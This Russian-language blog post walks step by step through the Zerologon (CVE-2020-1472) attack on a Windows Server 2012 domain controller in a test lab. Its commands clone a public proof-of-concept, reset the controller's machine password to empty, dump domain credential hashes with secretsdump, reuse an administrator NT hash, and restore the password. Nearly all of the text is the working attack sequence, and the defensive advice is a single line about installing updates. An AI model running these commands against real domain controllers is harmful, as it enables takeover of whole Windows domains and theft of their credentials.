— Шеф! У нас дыра в безопасности!
— Ну хоть что-то у нас в безопасности….
Уже достаточно много времени прошло с момента появления этой уязвимости в серверных вёндах, а я до сих пор её не описал? Непорядок! Личка ломится от ваших сообщений (нет) с вопросами “когда же? когда же?” и вот я решился.
Собираем простой стенд, состоящий как обычно из серверной Windows 2012 и Kali Linux.
Итак, стандартный дисклеймер – все шаги выполняются в тестовой среде. Атака очень инвазивная, так как обнуляет машинный пароль контроллера домена(!) со всеми вытекающими. Подозреваю, что могут отвалиться некоторые службы. Пароль мы конечно попытаемся вкинуть обратно, но вот кто ж знает, как оно себя поведёт?
Погнали
# git clone https://github.com/dirkjanm/CVE-2020-1472
Качаем репо с PoC, там же есть утилитка для восстановления пароля.
# python3 cve-2020-1472-exploit.py main 192.168.0.102
Сбиваем пароль, указав NetBIOS-имя цели и её IP-адрес.
# secretsdump.py -just-dc -no-pass 'main$'@192.168.0.102
Получаем хеши учёток, авторизовавшись с пустым паролем
Обратите внимание на строчку, подчёркнутую жёлтым цветом. MAIN$ – машинная учётка, нашего контроллера домена. Далее идут два хеша (LM:NT), так вот, NT-хеш “31d6…..” – это уже можно наизусть знать, означает пустой пароль. Но нам нужно не это. Ищем любую учётку, которая выглядит как админская. Я вижу Администратор и admin. Протестим обе.
# secretsdump.py -hashes :1bbe6ed9265751e8e60decb569011043 'Администратор'@192.168.0.102
Та же команда, только выполненная в контексте Администратора (не забываем указать его NT-хеш для аутентификации).
Скопируем plain_password_hex нашей MAIN$ станции (КД), чтобы установить его обратно на следующем шаге. Оставлять выжженую землю нам не надо, хеши админа мы получили, вернём всё как было.
# python3 restorepassword.py dc.local/main@main -target-ip 192.168.0.102 -hexpass 850a211154dbffd60d662b7......<тут вся эта hex-строка>
По идее теперь мы скомпрометировали контроллер домена и вернули машинный пароль на место. Кстати, а вернули ли? Проверим шаг № 3 снова:
Та же самая команда отбивается по STATUS_LOGON_FAILURE, что говорит нам о том, что пароль станции теперь по крайней мере не пустой. А какой? Ну будем надеяться, что мы скопировали HEX-строку полностью :)))
Как защититься?
Ставьте обновления на Windows и всё, пожалуй.
Вот и всё, друзья. Ставим лайк, подписываемся на ютуб-канал! Кто хочет помочь материально – справа картинка с хрюшкой) Все сообщения вижу, на все отвечаю, всем рад. Успехов!
Comments: